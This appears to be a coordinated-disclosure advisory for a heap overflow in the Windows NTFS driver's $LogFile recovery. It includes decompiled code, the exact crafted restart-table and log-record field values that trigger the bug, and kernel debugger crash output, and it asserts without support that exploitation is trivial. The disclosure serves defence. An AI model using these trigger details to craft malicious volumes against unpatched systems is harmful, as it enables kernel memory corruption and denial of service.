[ << ALL_FEED ]

Heap-based buffer overflow in ntfs!AnalysisPass

More in General

BDUPTCVE
2026-068122026-584682026-50494

Summary

A heap buffer overflow exists in the ntfs!AnalysisPass functionality of Microsoft Windows NTFS driver. During recovery of a specially crafted NTFS $LogFile, an OpenNonresidentAttribute log record can cause ntfs.sys to copy more redo data than fits in an entry of the on-disk Open Attribute Table (OAT). Mounting the crafted volume can trigger an out-of-bounds write in kernel NonPagedPoolNx memory.

Product URLs

Microsoft Windows: https://www.microsoft.com/windows

CWE

CWE-122: Heap-based Buffer Overflow.

Details

NTFS records metadata changes in the volume’s $LogFile to recover interrupted operations when the volume is mounted. During recovery, ntfs!NtfsRestartVolume initializes restart state and runs ntfs!AnalysisPass over the log records. The Open Attribute Table (OAT) is a restart table that tracks nonresident file attributes opened for modification. A nonresident attribute stores its value outside the file’s master file table record (MFT). OAT entries associate later log records with the relevant attribute; the table is restored from $LogFile into kernel memory, and its header specifies the size of each entry.

OpenNonresidentAttribute is an NTFS log operation with code 0x1C. Its redo data supplies an open attribute entry, potentially with accompanying attribute-name data. During analysis, NTFS installs that entry at the position indicated by the record’s TargetAttribute, allowing later recovery records to refer to the attribute.

In the analyzed build, ntfs!InitializeRestartState loads the OAT restart table from the log. ntfs!NtfsCheckRestartTable checks its structure, but the code has no check for minimum OAT EntrySize beyond a nonzero value. For an OpenNonresidentAttribute record, AnalysisPass obtains a slot through ntfs!NtfsAllocateRestartTableFromIndex and copies LogRecord->RedoLength bytes from LogRecord + RedoOffset into it:

// ntfs!AnalysisPass
...
v68 = NtfsAllocateRestartTableFromIndex(
                  v67,
                  a2->AttributeNamesTable_Or_OnDiskOAT,
                  (unsigned __int16)CurrentLogRecord->TargetAttribute);
ExReleaseResourceLite(&a2->AttributeNamesTable_Or_OnDiskOAT->Resource);
memmove(v68,
        (char *)CurrentLogRecord + (unsigned __int16)CurrentLogRecord->RedoOffset,
        (unsigned __int16)CurrentLogRecord->RedoLength
);
...

The same code but in disassembly form:

// ntfs!AnalysisPass

1401a603b  movzx r8d, word ptr [r15+0Ch]  ; TargetAttribute
1401a6040  mov   rdx, [r13+1338h]         ; Vcb->OnDiskOat
1401a604a  call  NtfsAllocateRestartTableFromIndex
1401a604f  mov   rdi, rax                  ; destination entry
...
1401a6065  movzx r8d, word ptr [r15+6]    ; RedoLength
1401a606a  movzx edx, word ptr [r15+4]    ; RedoOffset
1401a606f  add   rdx, r15                  ; source in log record
1401a6072  mov   rcx, rdi                  ; destination entry
1401a6075  call  memmove

The destination slot is sized according to OnDiskOat.Table->EntrySize, while the copy length comes from the log record. There is no comparison between these lengths before the copy. NtfsCheckLogRecord constrains the redo region to the record but does not constrain RedoLength to the OAT entry size. A record can therefore pass its source bounds checks and still overflow the destination entry.

Proof of Concept

When the PoC-crafted volume is mounted, NTFS processes the image as follows:

  1. ntfs!InitializeRestartState reads the crafted Open Attribute Table from $LogFile.
  2. The table is accepted with EntrySize = 4.
  3. ntfs!AnalysisPass starts at the crafted checkpoint.
  4. The next record is dispatched as an OpenNonresidentAttribute operation.
  5. NTFS requests an Open Attribute Table entry through ntfs!NtfsAllocateRestartTableFromIndex.
  6. The allocator returns the 4-byte free entry at table offset 0x18.
  7. NTFS copies RedoLength, rather than the destination entry size, into the allocated entry.
  8. A memmove copies 0xe00 attacker-controlled bytes into the 4-byte slot.

The restart area points OpenAttributeTableLsn to a serialized RESTART_TABLE containing 44 entries. Its header is configured as follows:

EntrySize       = 4
NumberEntries   = 44
NumberAllocated = 43
FirstFree       = 0x18
LastFree        = 0x18

0: kd> db rdx
ffff808b`689f6258  04 00 2c 00 2b 00 00 00-00 00 00 00 00 00 00 00  ..,.+...........
ffff808b`689f6268  18 00 00 00 18 00 00 00-00 00 00 00 ff ff ff ff  ................
ffff808b`689f6278  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f6288  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f6298  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f62a8  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f62b8  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f62c8  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................

The first entry, located at offset 0x18, is left free and contains a zero next-entry value, which terminates the free list. All other entries contain the allocated marker 0xffffffff.

RESTART_TABLE
    +0x00  Table header
    +0x18  Entry 0: 0x00000000
    +0x1c  Entry 1: 0xffffffff
    ...
    +0xc4  Entry 43: 0xffffffff

During restart initialization, NTFS accepts this table and sets the on-disk Open Attribute Table entry size to 4 bytes. This entry size is subsequently used by the allocation performed while processing the OpenNonresidentAttribute record.

The checkpoint record has a client data length of 0x28. The PoC calculates the next LSN and places the triggering record immediately after it on the same log page.

The trigger contains the following fields:

RedoOperation    = 0x1c  (OpenNonresidentAttribute)
UndoOperation    = 0x01
RedoOffset       = 0x28
RedoLength       = 0xe00
UndoOffset       = 0x28
UndoLength       = 0
TargetAttribute  = 0x18
LcnsToFollow     = 0
TargetVcn        = 0
ClientDataLength = 0xe28

1: kd> db r15
ffff808b`6cf8a188  1c 00 01 00 28 00 00 0e-28 00 00 00 18 00 00 00  ....(...(.......
ffff808b`6cf8a198  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff808b`6cf8a1a8  ff ff ff ff ff ff ff ff-41 41 41 41 41 41 41 41  ........AAAAAAAA
ffff808b`6cf8a1b8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1c8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1d8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1e8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1f8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

The 0xe00-bytes redo buffer is filled with attacker-controlled 0x41 bytes.

1: kd> !pool rcx
Pool page ffffdf0258350c38 region is Special pool
*ffffdf0258350000 size:  3d8 data: ffffdf0258350c20 (NonPaged) *NtFR
        Pooltag NtFR : RestrSup.c, Binary : ntfs.sys

1: kd> p
rax=ffffb28a92b14d20 rbx=ffffdf0253eee8f8 rcx=ffffdf0258350c38 // destination pool
rdx=ffff808b6cf8a1b0 rsi=ffffcc0692ce8fd0 rdi=ffffdf0258350c38
rip=fffff8020ede1535 rsp=ffffb28a92b14e10 rbp=ffffb28a92b158f0
 r8=0000000000000e00  r9=ffffdf0258350c20 r10=0000000000000000 // r8 is a length of data to copy
r11=ffffb28a92b14e08 r12=ffffb28a92b14f90 r13=ffffdf0255b591b0
r14=0000000000000000 r15=ffff808b6cf8a188
iopl=0         nv up ei ng nz ac po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040292
Ntfs!AnalysisPass+0x7f1:
fffff802`0ede1535 e80636e8ff      call    Ntfs!memcpy (fffff802`0ec64b40)

Execution of memcpy from snippet above leads to a crash.

1: kd> !analyze -v -force
Connected to Windows 10 26100 x64 target at (Tue Sep 29 05:46:08.598 2026 (UTC - 7:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
................................................
Loading User Symbols

Loading unloaded module list
.............

************* Symbol Loading Error Summary **************
Module name            Error
SharedUserData         No error - symbol load deferred

You can troubleshoot most symbol related issues by turning on symbol loading diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded.
You should also verify that your symbol search path (.sympath) is correct.
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffdf0258351000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff8020ec64c53, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------


KEY_VALUES_STRING: 1

    Key  : AV.PTE
    Value: Invalid

    Key  : AV.Page.Virtual
    Value: 0xffffdf0258350000

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 4250

    Key  : Analysis.Elapsed.mSec
    Value: 9698

    Key  : Analysis.IO.Other.Mb
    Value: 22

    Key  : Analysis.IO.Read.Mb
    Value: 35

    Key  : Analysis.IO.Write.Mb
    Value: 332

    Key  : Analysis.Init.CPU.mSec
    Value: 156906

    Key  : Analysis.Init.Elapsed.mSec
    Value: 102952890

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 323

    Key  : Analysis.Version.DbgEng
    Value: 10.0.29617.1000

    Key  : Analysis.Version.Description
    Value: 10.2604.29.1 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2604.29.1

    Key  : Bugcheck.Code.KiBugCheckData
    Value: 0x50

    Key  : Bugcheck.Code.LegacyAPI
    Value: 0x50

    Key  : Bugcheck.Code.TargetModel
    Value: 0x50

    Key  : Failure.Bucket
    Value: AV_VRF_Ntfs!memcpy

    Key  : Failure.Exception.IP.Address
    Value: 0xfffff8020ec64c53

    Key  : Failure.Exception.IP.Module
    Value: Ntfs

    Key  : Failure.Exception.IP.Offset
    Value: 0x54c53

    Key  : Failure.Hash
    Value: {42897693-3f38-2825-9348-02f570d06af5}

    Key  : Faulting.IP.Type
    Value: Paged

    Key  : Hypervisor.Enlightenments.Value
    Value: 1113060

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x10fbe4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 0

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 1

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 0

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 528572

    Key  : Hypervisor.Flags.ValueHex
    Value: 0x810bc

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 0

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : SecureKernel.HalpHvciEnabled
    Value: 0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1


BUGCHECK_CODE:  50

BUGCHECK_P1: ffffdf0258351000

BUGCHECK_P2: 2

BUGCHECK_P3: fffff8020ec64c53

BUGCHECK_P4: 2

FAULTING_THREAD:  ffffdf024a721080

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  ffffdf0258351000

WRITE_ADDRESS:  ffffdf0258351000 Special pool

MM_INTERNAL_CODE:  2

PROCESS_NAME:  System

IP_IN_PAGED_CODE: 
Ntfs!memcpy+113
fffff802`0ec64c53 0f2941f0        movaps  xmmword ptr [rcx-10h],xmm0

STACK_TEXT:  
ffffb28a`92b141d8 fffff802`7bd5ce42     : ffffb28a`92b14258 00000000`00000001 00000000`00000080 fffff802`7be67901 : nt!DbgBreakPointWithStatus
ffffb28a`92b141e0 fffff802`7bd5c36c     : 00000000`00000003 ffffb28a`92b14340 fffff802`7be67b00 ffffb28a`92b14900 : nt!KiBugCheckDebugBreak+0x12
ffffb28a`92b14240 fffff802`7bca6537     : 00000000`00000000 fffff802`7bb81cb6 ffffdf02`58351000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffb28a`92b149d0 fffff802`7bb8194c     : 00000000`00000050 ffffdf02`58351000 00000000`00000002 ffffb28a`92b14c70 : nt!KeBugCheckEx+0x107
ffffb28a`92b14a10 fffff802`7b9f0510     : 00000000`00000000 ffff8000`00000000 ffffdf02`58351000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0
ffffb28a`92b14b00 fffff802`7be5cfcb     : 00000000`00000000 fffff802`7be59885 ffffdf02`58350c38 ffffb28a`92b14ce0 : nt!MmAccessFault+0x630
ffffb28a`92b14c70 fffff802`0ec64c53     : fffff802`0ede153a ffffdf02`53eee8f8 ffffdf02`58350c38 ffffb28a`92b14f90 : nt!KiPageFault+0x38b
ffffb28a`92b14e08 fffff802`0ede153a     : ffffdf02`53eee8f8 ffffdf02`58350c38 ffffb28a`92b14f90 ffffdf02`55b591b0 : Ntfs!memcpy+0x113
ffffb28a`92b14e10 fffff802`0ee45000     : ffffdf02`53eee8f8 ffffdf02`00000000 00000000`00000000 ffffb28a`92b14f90 : Ntfs!AnalysisPass+0x7f6
ffffb28a`92b14f30 fffff802`0edcc3be     : ffffdf02`53eeeab8 00000000`00000001 ffffdf02`53eee8f8 ffffdf02`53eeeab8 : Ntfs!NtfsRestartVolume+0xbc
ffffb28a`92b150a0 fffff802`0edc9f86     : 00000000`00000000 00000000`00000000 00000000`00000000 ffffdf02`4a7210f8 : Ntfs!NtfsMountVolume+0x1816
ffffb28a`92b157e0 fffff802`0ec3e639     : ffffdf02`53eee8f8 ffffb28a`92b158f0 00000000`00000008 ffffdf02`4a721080 : Ntfs!NtfsCommonFileSystemControl+0xb6
ffffb28a`92b158c0 fffff802`7ba8b7ec     : ffffdf02`4a721080 ffffdf02`4a721080 ffffdf02`4a6e5530 fffff802`0ec3e020 : Ntfs!NtfsFspDispatch+0x619
ffffb28a`92b15a10 fffff802`7bc31afa     : ffffdf02`4a721080 ffffdf02`4a721080 fffff802`7ba8b200 ffffdf02`4a6e5530 : nt!ExpWorkerThread+0x5ec
ffffb28a`92b15bf0 fffff802`7be4ef84     : fffff802`0c661180 ffffdf02`4a721080 fffff802`7bc31aa0 00630069`00760072 : nt!PspSystemThreadStartup+0x5a
ffffb28a`92b15c40 00000000`00000000     : ffffb28a`92b16000 ffffb28a`92b10000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34


SYMBOL_NAME:  Ntfs!memcpy+113

MODULE_NAME: Ntfs

IMAGE_NAME:  Ntfs.sys

IMAGE_VERSION:  10.0.26100.6899

STACK_COMMAND: .process /r /p 0xffffdf024a6b4040; .thread /r /p 0xffffdf024a721080 ; kb

BUCKET_ID_FUNC_OFFSET:  113

FAILURE_BUCKET_ID:  AV_VRF_Ntfs!memcpy

OS_VERSION:  10.0.26100.1

BUILDLAB_STR:  ge_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {42897693-3f38-2825-9348-02f570d06af5}

Followup:     MachineOwner
---------

The following exploitation is trivial.

Disclosure Timeline

  • May 12, 2026: The vendor was notified of the vulnerability and provided with a technical report.
  • July 07, 2026: The vendor completed its internal triage and confirmed the vulnerability. Preliminary timelines for the fix and advisory were provided.
  • July 14, 2026: Security updates were released and the advisory was published.

More from author_vr

More from author_vr

More in General